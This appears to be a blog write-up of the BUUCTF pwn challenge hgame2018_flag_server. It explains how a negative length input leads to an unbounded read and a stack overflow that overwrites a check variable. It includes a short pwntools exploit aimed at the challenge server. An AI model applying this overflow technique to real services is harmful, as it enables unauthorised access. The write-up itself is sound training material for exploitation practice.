[BUUCTF-pwn]——hgame2018_flag_server

保护开启了 NX和canary
看下反汇编,只要v10非0就可以得到flag, 也就是v6 = v8,但是显然v8是一个随机数, 并且没有找到可以修改的地方。


仔细观察上面的代码,一旦v5为负数,我们就可以无限输入了,并且s1距离v10为0x40 = 64, 我们只需要输入0x40个字符就可以开始修改v10了

exploit

from pwn import *
p = remote("node3.buuoj.cn",28128)
p.sendlineafter('your username length: ','-1')
payload= 'a' * 0x40 + p32(1)
p.sendlineafter('whats your username?\n',payload)
p.interactive()

[BUUCTF-pwn]——hgame2018_flag_server相关推荐

  1. BUUCTF(pwn)hgame2018_flag_server(简单的栈溢出)

    这一题主要就分析清楚程序的执行流程就可以做出来了; v10=1就可以得出答案; 由于v5=-1;输入长度可以很大,造成溢出,点进去s1 溢出覆盖到v10 满足条件 from pwn import* p ...

  2. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  3. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  4. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  5. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  6. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  7. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  8. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  9. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  10. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

最新文章

  1. 使用二维高斯函数模糊图片
  2. P2924 [USACO08DEC]大栅栏Largest Fence
  3. 学技术靠网络还是靠现实
  4. oracle 递归计算,SQL(Oracle)中的递归计算
  5. 贪心算法+回溯算法+动态规划
  6. 通过sharepoint 客户脚本,验证列表添加页面上的时间
  7. 全局路径规划A star的Matlab实现
  8. C语言:字符数组赋值
  9. MySQL 5.7.9 免安装配置
  10. chmod命令的用法
  11. Navicat连接Mysql报错:Client does not support authentication protocol requested by server;
  12. Fragment中获取Activity的Context
  13. c语言 头文件 重复包含,C语言头文件如何避免重复包含
  14. Word排版——毕业论文专业排版5——目录
  15. 5V转3V的降压芯片和LDO
  16. Marvell88Q5192 switch调试记录(BSTA1000B平台)
  17. 50 岁的 C 语言,掌控 Windows、Linux、macOS 等操作系统半边天
  18. 申请高新技术企业认定需要多少专利?
  19. 分布式消息队列RocketMQ与Kafka的18项差异之“拨乱反正“之2
  20. 【PHP】小额话费充值接口开发_接入1元话费、2元话费等

热门文章

  1. mootools系列:打造属于你自己的Popup(弹出框)——扩展功能篇
  2. 深入浅出之虚函数原理篇(笔记三)
  3. [基础题]8.(*)按如下要求编写Java程序:(1)定义一个交通工具收费接口Charge
  4. LeetCode Algorithm 118. 杨辉三角
  5. HTML编码问题导致的乱码
  6. Django 使用 HttpResponse 返回 json 字符串显示 Unicode 编码
  7. docker harbor 域名_超详细的搭建docker私服Harbor教程
  8. MySQL的日志管理
  9. Spring Boot WebMagic 入库时 mapper注入提示空指针,以及正确的操作
  10. deamon守护进程